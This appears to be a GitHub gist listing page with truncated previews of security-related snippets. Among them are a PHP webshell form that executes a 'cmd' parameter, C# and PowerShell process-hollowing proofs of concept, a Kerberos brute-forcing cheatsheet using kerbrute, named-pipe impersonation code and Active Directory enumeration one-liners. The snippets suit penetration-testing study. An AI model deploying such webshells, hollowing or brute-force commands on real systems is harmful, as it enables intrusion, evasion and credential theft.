Skip to content

Instantly share code, notes, and snippets.

View UserXGnu's full-sized avatar

UserX UserXGnu

113 followers · 17 following
View GitHub Profile
@hofmannsven
hofmannsven / README.md
Last active July 18, 2024 08:27
MySQL CLI Cheatsheet
@joswr1ght
joswr1ght / easy-simple-php-webshell.php
Last active July 5, 2024 14:57
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@smgorelik
smgorelik / Hollowing.cs
Last active September 5, 2023 14:12
Simple Process Hollowing C#
/***************
* Simple Process Hollowing in C#
*
* #Build Your Binaries
* c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe
*
* @author: Michael Gorelik <smgorelik@gmail.com>
* gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
* #Most of the code taken from here: @github: github.com/ambray
@xenoscr
xenoscr / Start-Hollow.ps1
Created June 13, 2018 12:02
Process Hollowing with PowerShell - by FuzzySec
function Start-Hollow {
<#
.SYNOPSIS
This is a proof-of-concept for process hollowing. There is nothing new here except
maybe the use of NtCreateProcessEx which has some advantages in that it offers a
convenient way to set a parent process and avoids the bothersome Get/SetThreadContext.
On the flipside CreateRemoteThreadEx/NtCreateThreadEx are pretty suspicious API's.
I wrote this POC mostly to educate myself on the mechanics of hollowing. It is possible
to load the Hollow from an internal byte array straight into memory but I have not
@TarlogicSecurity
TarlogicSecurity / kerberos_attacks_cheatsheet.md
Created May 14, 2019 13:33
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@xpn
xpn / dotnet_etw.c
Created March 16, 2020 19:25
A demo of how to collect information on basic .NET events from ETW.
#define AssemblyDCStart_V1 155
#define MethodLoadVerbose_V1 143
#include <windows.h>
#include <stdio.h>
#include <wbemidl.h>
#include <wmistr.h>
#include <evntrace.h>
#include <Evntcons.h>
@S3cur3Th1sSh1t
S3cur3Th1sSh1t / NamedPipeImpersonation.cs
Created March 30, 2020 12:31
using System;
using System.IO;
using System.Text;
using System.IO.Pipes;
using System.Threading;
using System.Diagnostics;
using System.Security.Principal;
using System.Security.AccessControl;
using System.Runtime.InteropServices;
using System.ComponentModel;
@w00tc
w00tc / 1) Active Directory One Liners
Last active June 22, 2024 08:46
Some Pentesting Notes
Retrieves all of the trust relationships for this domain - Does not Grab Forest Trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
Grab Forest Trusts.
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
@UserXGnu
UserXGnu / Hollowing.cs
Created March 17, 2021 12:32 — forked from smgorelik/Hollowing.cs
Simple Process Hollowing C#
/***************
* Simple Process Hollowing in C#
*
* #Build Your Binaries
* c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe
*
* @author: Michael Gorelik <smgorelik@gmail.com>
* gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
* #Most of the code taken from here: @github: github.com/ambray